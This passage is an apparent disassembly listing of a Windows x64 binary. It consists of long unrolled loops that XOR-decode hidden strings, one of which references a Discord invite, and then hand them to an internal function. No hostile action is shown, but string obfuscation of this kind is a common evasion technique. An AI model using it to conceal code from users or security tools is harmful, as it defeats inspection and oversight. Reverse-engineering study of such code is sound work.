movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1c3], al
movsx eax, byte [rsp + 0x190]
mov ecx, 1
imul rcx, rcx, 0x33
lea rdx, str._____________________________O__________SPN____https:__discord.gg_P35sC283As_
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1c4], al
movsx eax, byte [rsp + 0x190]
mov ecx, 1
imul rcx, rcx, 0x34
lea rdx, str._____________________________O__________SPN____https:__discord.gg_P35sC283As_
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1c5], al
movsx eax, byte [rsp + 0x190]
mov ecx, 1
imul rcx, rcx, 0x35
lea rdx, str._____________________________O__________SPN____https:__discord.gg_P35sC283As_
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1c6], al
movsx eax, byte [rsp + 0x190]
mov ecx, 1
imul rcx, rcx, 0x36
lea rdx, str._____________________________O__________SPN____https:__discord.gg_P35sC283As_
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1c7], al
movsx eax, byte [rsp + 0x190]
mov ecx, 1
imul rcx, rcx, 0x37
lea rdx, str._____________________________O__________SPN____https:__discord.gg_P35sC283As_
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1c8], al
movsx eax, byte [rsp + 0x190]
mov ecx, 1
imul rcx, rcx, 0x38
lea rdx, str._____________________________O__________SPN____https:__discord.gg_P35sC283As_
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1c9], al
movsx eax, byte [rsp + 0x190]
mov ecx, 1
imul rcx, rcx, 0x39
lea rdx, str._____________________________O__________SPN____https:__discord.gg_P35sC283As_
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1ca], al
movsx eax, byte [rsp + 0x190]
mov ecx, 1
imul rcx, rcx, 0x3a
lea rdx, str._____________________________O__________SPN____https:__discord.gg_P35sC283As_
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1cb], al
movsx eax, byte [rsp + 0x190]
mov ecx, 1
imul rcx, rcx, 0x3b
lea rdx, str._____________________________O__________SPN____https:__discord.gg_P35sC283As_
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1cc], al
movsx eax, byte [rsp + 0x190]
mov ecx, 1
imul rcx, rcx, 0x3c
lea rdx, str._____________________________O__________SPN____https:__discord.gg_P35sC283As_
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1cd], al
movsx eax, byte [rsp + 0x190]
mov ecx, 1
imul rcx, rcx, 0x3d
lea rdx, str._____________________________O__________SPN____https:__discord.gg_P35sC283As_
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1ce], al
movsx eax, byte [rsp + 0x190]
mov ecx, 1
imul rcx, rcx, 0x3e
lea rdx, str._____________________________O__________SPN____https:__discord.gg_P35sC283As_
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1cf], al
movsx eax, byte [rsp + 0x190]
mov ecx, 1
imul rcx, rcx, 0x3f
lea rdx, str._____________________________O__________SPN____https:__discord.gg_P35sC283As_
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1d0], al
movsx eax, byte [rsp + 0x190]
mov ecx, 1
imul rcx, rcx, 0x40
lea rdx, str._____________________________O__________SPN____https:__discord.gg_P35sC283As_
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1d1], al
movsx eax, byte [rsp + 0x190]
mov ecx, 1
imul rcx, rcx, 0x41
lea rdx, str._____________________________O__________SPN____https:__discord.gg_P35sC283As_
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1d2], al
movsx eax, byte [rsp + 0x190]
mov ecx, 1
imul rcx, rcx, 0x42
lea rdx, str._____________________________O__________SPN____https:__discord.gg_P35sC283As_
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1d3], al
movsx eax, byte [rsp + 0x190]
mov ecx, 1
imul rcx, rcx, 0x43
lea rdx, str._____________________________O__________SPN____https:__discord.gg_P35sC283As_
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1d4], al
movsx eax, byte [rsp + 0x190]
mov ecx, 1
imul rcx, rcx, 0x44
lea rdx, str._____________________________O__________SPN____https:__discord.gg_P35sC283As_
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1d5], al
movsx eax, byte [rsp + 0x190]
mov ecx, 1
imul rcx, rcx, 0x45
lea rdx, str._____________________________O__________SPN____https:__discord.gg_P35sC283As_
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1d6], al
movsx eax, byte [rsp + 0x190]
mov ecx, 1
imul rcx, rcx, 0x46
lea rdx, str._____________________________O__________SPN____https:__discord.gg_P35sC283As_
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1d7], al
movsx eax, byte [rsp + 0x190]
mov ecx, 1
imul rcx, rcx, 0x47
lea rdx, str._____________________________O__________SPN____https:__discord.gg_P35sC283As_
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1d8], al
movsx eax, byte [rsp + 0x190]
mov ecx, 1
imul rcx, rcx, 0x48
lea rdx, str._____________________________O__________SPN____https:__discord.gg_P35sC283As_
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1d9], al
movsx eax, byte [rsp + 0x190]
mov ecx, 1
imul rcx, rcx, 0x49
lea rdx, str._____________________________O__________SPN____https:__discord.gg_P35sC283As_
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1da], al
movsx eax, byte [rsp + 0x190]
mov ecx, 1
imul rcx, rcx, 0x4a
lea rdx, str._____________________________O__________SPN____https:__discord.gg_P35sC283As_
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1db], al
movsx eax, byte [rsp + 0x190]
mov ecx, 1
imul rcx, rcx, 0x4b
lea rdx, str._____________________________O__________SPN____https:__discord.gg_P35sC283As_
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1dc], al
movsx eax, byte [rsp + 0x190]
mov ecx, 1
imul rcx, rcx, 0x4c
lea rdx, str._____________________________O__________SPN____https:__discord.gg_P35sC283As_
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1dd], al
movsx eax, byte [rsp + 0x190]
mov ecx, 1
imul rcx, rcx, 0x4d
lea rdx, str._____________________________O__________SPN____https:__discord.gg_P35sC283As_
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1de], al
movsx eax, byte [rsp + 0x190]
mov ecx, 1
imul rcx, rcx, 0x4e
lea rdx, str._____________________________O__________SPN____https:__discord.gg_P35sC283As_
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1df], al
movsx eax, byte [rsp + 0x190]
mov ecx, 1
imul rcx, rcx, 0x4f
lea rdx, str._____________________________O__________SPN____https:__discord.gg_P35sC283As_
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1e0], al
movsx eax, byte [rsp + 0x190]
mov ecx, 1
imul rcx, rcx, 0x50
lea rdx, str._____________________________O__________SPN____https:__discord.gg_P35sC283As_
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1e1], al
movsx eax, byte [rsp + 0x190]
mov ecx, 1
imul rcx, rcx, 0x51
lea rdx, str._____________________________O__________SPN____https:__discord.gg_P35sC283As_
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1e2], al
movsx eax, byte [rsp + 0x190]
mov ecx, 1
imul rcx, rcx, 0x52
lea rdx, str._____________________________O__________SPN____https:__discord.gg_P35sC283As_
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1e3], al
movsx eax, byte [rsp + 0x190]
mov ecx, 1
imul rcx, rcx, 0x53
lea rdx, str._____________________________O__________SPN____https:__discord.gg_P35sC283As_
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1e4], al
movsx eax, byte [rsp + 0x190]
mov ecx, 1
imul rcx, rcx, 0x54
lea rdx, str._____________________________O__________SPN____https:__discord.gg_P35sC283As_
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1e5], al
movsx eax, byte [rsp + 0x190]
mov ecx, 1
imul rcx, rcx, 0x55
lea rdx, str._____________________________O__________SPN____https:__discord.gg_P35sC283As_
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1e6], al
movsx eax, byte [rsp + 0x190]
mov ecx, 1
imul rcx, rcx, 0x56
lea rdx, str._____________________________O__________SPN____https:__discord.gg_P35sC283As_
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1e7], al
movsx eax, byte [rsp + 0x190]
mov ecx, 1
imul rcx, rcx, 0x57
lea rdx, str._____________________________O__________SPN____https:__discord.gg_P35sC283As_
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1e8], al
movsx eax, byte [rsp + 0x190]
mov ecx, 1
imul rcx, rcx, 0x58
lea rdx, str._____________________________O__________SPN____https:__discord.gg_P35sC283As_
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1e9], al
movsx eax, byte [rsp + 0x190]
mov ecx, 1
imul rcx, rcx, 0x59
lea rdx, str._____________________________O__________SPN____https:__discord.gg_P35sC283As_
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1ea], al
movsx eax, byte [rsp + 0x190]
mov ecx, 1
imul rcx, rcx, 0x5a
lea rdx, str._____________________________O__________SPN____https:__discord.gg_P35sC283As_
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1eb], al
movsx eax, byte [rsp + 0x190]
mov ecx, 1
imul rcx, rcx, 0x5b
lea rdx, str._____________________________O__________SPN____https:__discord.gg_P35sC283As_
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1ec], al
movsx eax, byte [rsp + 0x190]
mov ecx, 1
imul rcx, rcx, 0x5c
lea rdx, str._____________________________O__________SPN____https:__discord.gg_P35sC283As_
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1ed], al
lea rax, [rsp + 0x1ee]
lea rax, [rsp + 0x1ee]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
mov qword [rsp + 0x218], 0
jmp 0x14016b84c
mov rax, qword [rsp + 0x218]
inc rax
mov qword [rsp + 0x218], rax
cmp qword [rsp + 0x218], 0x5d
jae 0x14016b8ec
lea rax, [rsp + 0x191]
mov qword [rsp + 0x280], rax
mov rax, qword [rsp + 0x218]
mov rcx, qword [rsp + 0x280]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x288], rax
movsx eax, byte [rsp + 0x190]
mov rcx, qword [rsp + 0x288]
movsx ecx, byte [rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1f9], al
lea rax, [rsp + 0x191]
mov qword [rsp + 0x290], rax
mov rax, qword [rsp + 0x218]
mov rcx, qword [rsp + 0x290]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x298], rax
mov rax, qword [rsp + 0x298]
movzx ecx, byte [rsp + 0x1f9]
mov byte [rax], cl
jmp 0x14016b839
lea rax, [rsp + 0x191]
mov qword [rsp + 0x2a0], rax
mov eax, 0x5d
imul rax, rax, 1
mov rcx, qword [rsp + 0x2a0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x2a8], rax
mov rax, qword [rsp + 0x2a8]
mov byte [rax], 0
lea rax, [rsp + 0x191]
mov qword [rsp + 0x2b0], rax
mov rdx, qword [rsp + 0x2b0]
lea rcx, [rsp + 0x570]
call fcn.14003f3f0
mov byte [rsp + 0x130], 0x59
movsx eax, byte [rsp + 0x130]
mov ecx, 1
imul rcx, rcx, 0
lea rdx, str.________________________________________n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x131], al
movsx eax, byte [rsp + 0x130]
mov ecx, 1
imul rcx, rcx, 1
lea rdx, str.________________________________________n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x132], al
movsx eax, byte [rsp + 0x130]
mov ecx, 1
imul rcx, rcx, 2
lea rdx, str.________________________________________n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x133], al
movsx eax, byte [rsp + 0x130]
mov ecx, 1
imul rcx, rcx, 3
lea rdx, str.________________________________________n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x134], al
movsx eax, byte [rsp + 0x130]
mov ecx, 1
imul rcx, rcx, 4
lea rdx, str.________________________________________n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x135], al
movsx eax, byte [rsp + 0x130]
mov ecx, 1
imul rcx, rcx, 5
lea rdx, str.________________________________________n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x136], al
movsx eax, byte [rsp + 0x130]
mov ecx, 1
imul rcx, rcx, 6
lea rdx, str.________________________________________n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x137], al
movsx eax, byte [rsp + 0x130]
mov ecx, 1
imul rcx, rcx, 7
lea rdx, str.________________________________________n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x138], al
movsx eax, byte [rsp + 0x130]
mov ecx, 1
imul rcx, rcx, 8
lea rdx, str.________________________________________n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x139], al
movsx eax, byte [rsp + 0x130]
mov ecx, 1
imul rcx, rcx, 9
lea rdx, str.________________________________________n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x13a], al
movsx eax, byte [rsp + 0x130]
mov ecx, 1
imul rcx, rcx, 0xa
lea rdx, str.________________________________________n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x13b], al
movsx eax, byte [rsp + 0x130]
mov ecx, 1
imul rcx, rcx, 0xb
lea rdx, str.________________________________________n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x13c], al
movsx eax, byte [rsp + 0x130]
mov ecx, 1
imul rcx, rcx, 0xc
lea rdx, str.________________________________________n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x13d], al
movsx eax, byte [rsp + 0x130]
mov ecx, 1
imul rcx, rcx, 0xd
lea rdx, str.________________________________________n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x13e], al
movsx eax, byte [rsp + 0x130]
mov ecx, 1
imul rcx, rcx, 0xe
lea rdx, str.________________________________________n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x13f], al
movsx eax, byte [rsp + 0x130]
mov ecx, 1
imul rcx, rcx, 0xf
lea rdx, str.________________________________________n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x140], al
movsx eax, byte [rsp + 0x130]
mov ecx, 1
imul rcx, rcx, 0x10
lea rdx, str.________________________________________n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x141], al
movsx eax, byte [rsp + 0x130]
mov ecx, 1
imul rcx, rcx, 0x11
lea rdx, str.________________________________________n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x142], al
movsx eax, byte [rsp + 0x130]
mov ecx, 1
imul rcx, rcx, 0x12
lea rdx, str.________________________________________n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x143], al
movsx eax, byte [rsp + 0x130]
mov ecx, 1
imul rcx, rcx, 0x13
lea rdx, str.________________________________________n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x144], al
movsx eax, byte [rsp + 0x130]
mov ecx, 1
imul rcx, rcx, 0x14
lea rdx, str.________________________________________n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x145], al
movsx eax, byte [rsp + 0x130]
mov ecx, 1
imul rcx, rcx, 0x15
lea rdx, str.________________________________________n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x146], al
movsx eax, byte [rsp + 0x130]
mov ecx, 1
imul rcx, rcx, 0x16
lea rdx, str.________________________________________n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x147], al
movsx eax, byte [rsp + 0x130]
mov ecx, 1
imul rcx, rcx, 0x17
lea rdx, str.________________________________________n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x148], al
movsx eax, byte [rsp + 0x130]
mov ecx, 1
imul rcx, rcx, 0x18
lea rdx, str.________________________________________n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x149], al
movsx eax, byte [rsp + 0x130]
mov ecx, 1
imul rcx, rcx, 0x19
lea rdx, str.________________________________________n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x14a], al
movsx eax, byte [rsp + 0x130]
mov ecx, 1
imul rcx, rcx, 0x1a
lea rdx, str.________________________________________n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x14b], al
movsx eax, byte [rsp + 0x130]
mov ecx, 1
imul rcx, rcx, 0x1b
lea rdx, str.________________________________________n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x14c], al
movsx eax, byte [rsp + 0x130]
mov ecx, 1
imul rcx, rcx, 0x1c
lea rdx, str.________________________________________n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x14d], al
movsx eax, byte [rsp + 0x130]
mov ecx, 1
imul rcx, rcx, 0x1d
lea rdx, str.________________________________________n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x14e], al
movsx eax, byte [rsp + 0x130]
mov ecx, 1
imul rcx, rcx, 0x1e
lea rdx, str.________________________________________n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x14f], al
movsx eax, byte [rsp + 0x130]
mov ecx, 1
imul rcx, rcx, 0x1f
lea rdx, str.________________________________________n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x150], al
movsx eax, byte [rsp + 0x130]
mov ecx, 1
imul rcx, rcx, 0x20
lea rdx, str.________________________________________n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x151], al
movsx eax, byte [rsp + 0x130]
mov ecx, 1
imul rcx, rcx, 0x21
lea rdx, str.________________________________________n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x152], al
movsx eax, byte [rsp + 0x130]
mov ecx, 1
imul rcx, rcx, 0x22
lea rdx, str.________________________________________n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x153], al
movsx eax, byte [rsp + 0x130]
mov ecx, 1
imul rcx, rcx, 0x23
lea rdx, str.________________________________________n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x154], al
movsx eax, byte [rsp + 0x130]
mov ecx, 1
imul rcx, rcx, 0x24
lea rdx, str.________________________________________n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x155], al
movsx eax, byte [rsp + 0x130]
mov ecx, 1
imul rcx, rcx, 0x25
lea rdx, str.________________________________________n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x156], al
movsx eax, byte [rsp + 0x130]
mov ecx, 1
imul rcx, rcx, 0x26
lea rdx, str.________________________________________n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x157], al
movsx eax, byte [rsp + 0x130]
mov ecx, 1
imul rcx, rcx, 0x27
lea rdx, str.________________________________________n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x158], al
movsx eax, byte [rsp + 0x130]
mov ecx, 1
imul rcx, rcx, 0x28
lea rdx, str.________________________________________n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x159], al
movsx eax, byte [rsp + 0x130]
mov ecx, 1
imul rcx, rcx, 0x29
lea rdx, str.________________________________________n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x15a], al
movsx eax, byte [rsp + 0x130]
mov ecx, 1
imul rcx, rcx, 0x2a
lea rdx, str.________________________________________n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x15b], al
lea rax, [rsp + 0x15c]
lea rax, [rsp + 0x15c]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
mov qword [rsp + 0x210], 0
jmp 0x14016c01d
mov rax, qword [rsp + 0x210]
inc rax
mov qword [rsp + 0x210], rax
cmp qword [rsp + 0x210], 0x2b
jae 0x14016c0bd
lea rax, [rsp + 0x131]
mov qword [rsp + 0x2b8], rax
mov rax, qword [rsp + 0x210]
mov rcx, qword [rsp + 0x2b8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x2c0], rax
movsx eax, byte [rsp + 0x130]
mov rcx, qword [rsp + 0x2c0]
movsx ecx, byte [rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1fa], al
lea rax, [rsp + 0x131]
mov qword [rsp + 0x2c8], rax
mov rax, qword [rsp + 0x210]
mov rcx, qword [rsp + 0x2c8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x2d0], rax
mov rax, qword [rsp + 0x2d0]
movzx ecx, byte [rsp + 0x1fa]
mov byte [rax], cl
jmp 0x14016c00a
lea rax, [rsp + 0x131]
mov qword [rsp + 0x2d8], rax
mov eax, Ordinal_46
imul rax, rax, 1
mov rcx, qword [rsp + 0x2d8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x2e0], rax
mov rax, qword [rsp + 0x2e0]
mov byte [rax], 0
lea rax, [rsp + 0x131]
mov qword [rsp + 0x2e8], rax
mov rdx, qword [rsp + 0x2e8]
lea rcx, [rsp + 0x570]
call fcn.14003f3f0
mov byte [rsp + 0x160], reloc.WLDAP32.dll_Ordinal_45
movsx eax, byte [rsp + 0x160]
mov ecx, 1
imul rcx, rcx, 0
lea rdx, str._________________________________________n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x161], al
movsx eax, byte [rsp + 0x160]
mov ecx, 1
imul rcx, rcx, 1
lea rdx, str._________________________________________n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x162], al
movsx eax, byte [rsp + 0x160]
mov ecx, 1
imul rcx, rcx, 2
lea rdx, str._________________________________________n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x163], al
movsx eax, byte [rsp + 0x160]
mov ecx, 1
imul rcx, rcx, 3
lea rdx, str._________________________________________n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x164], al
movsx eax, byte [rsp + 0x160]
mov ecx, 1
imul rcx, rcx, 4
lea rdx, str._________________________________________n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x165], al
movsx eax, byte [rsp + 0x160]
mov ecx, 1
imul rcx, rcx, 5
lea rdx, str._________________________________________n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x166], al
movsx eax, byte [rsp + 0x160]
mov ecx, 1
imul rcx, rcx, 6
lea rdx, str._________________________________________n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x167], al
movsx eax, byte [rsp + 0x160]
mov ecx, 1
imul rcx, rcx, 7
lea rdx, str._________________________________________n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x168], al
movsx eax, byte [rsp + 0x160]
mov ecx, 1
imul rcx, rcx, 8
lea rdx, str._________________________________________n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x169], al
movsx eax, byte [rsp + 0x160]
mov ecx, 1
imul rcx, rcx, 9
lea rdx, str._________________________________________n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x16a], al
movsx eax, byte [rsp + 0x160]
mov ecx, 1
imul rcx, rcx, 0xa
lea rdx, str._________________________________________n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x16b], al
movsx eax, byte [rsp + 0x160]
mov ecx, 1
imul rcx, rcx, 0xb
lea rdx, str._________________________________________n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x16c], al
movsx eax, byte [rsp + 0x160]
mov ecx, 1
imul rcx, rcx, 0xc
lea rdx, str._________________________________________n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x16d], al
movsx eax, byte [rsp + 0x160]
mov ecx, 1
imul rcx, rcx, 0xd
lea rdx, str._________________________________________n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x16e], al
movsx eax, byte [rsp + 0x160]
mov ecx, 1
imul rcx, rcx, 0xe
lea rdx, str._________________________________________n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x16f], al
movsx eax, byte [rsp + 0x160]
mov ecx, 1
imul rcx, rcx, 0xf
lea rdx, str._________________________________________n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x170], al
movsx eax, byte [rsp + 0x160]
mov ecx, 1
imul rcx, rcx, 0x10
lea rdx, str._________________________________________n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x171], al
movsx eax, byte [rsp + 0x160]
mov ecx, 1
imul rcx, rcx, 0x11
lea rdx, str._________________________________________n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x172], al
movsx eax, byte [rsp + 0x160]
mov ecx, 1
imul rcx, rcx, 0x12
lea rdx, str._________________________________________n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x173], al
movsx eax, byte [rsp + 0x160]
mov ecx, 1
imul rcx, rcx, 0x13
lea rdx, str._________________________________________n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x174], al
movsx eax, byte [rsp + 0x160]
mov ecx, 1
imul rcx, rcx, 0x14
lea rdx, str._________________________________________n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x175], al
movsx eax, byte [rsp + 0x160]
mov ecx, 1
imul rcx, rcx, 0x15
lea rdx, str._________________________________________n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x176], al
movsx eax, byte [rsp + 0x160]
mov ecx, 1
imul rcx, rcx, 0x16
lea rdx, str._________________________________________n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x177], al
movsx eax, byte [rsp + 0x160]
mov ecx, 1
imul rcx, rcx, 0x17
lea rdx, str._________________________________________n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x178], al
movsx eax, byte [rsp + 0x160]
mov ecx, 1
imul rcx, rcx, 0x18
lea rdx, str._________________________________________n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x179], al
movsx eax, byte [rsp + 0x160]
mov ecx, 1
imul rcx, rcx, 0x19
lea rdx, str._________________________________________n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x17a], al
movsx eax, byte [rsp + 0x160]
mov ecx, 1
imul rcx, rcx, 0x1a
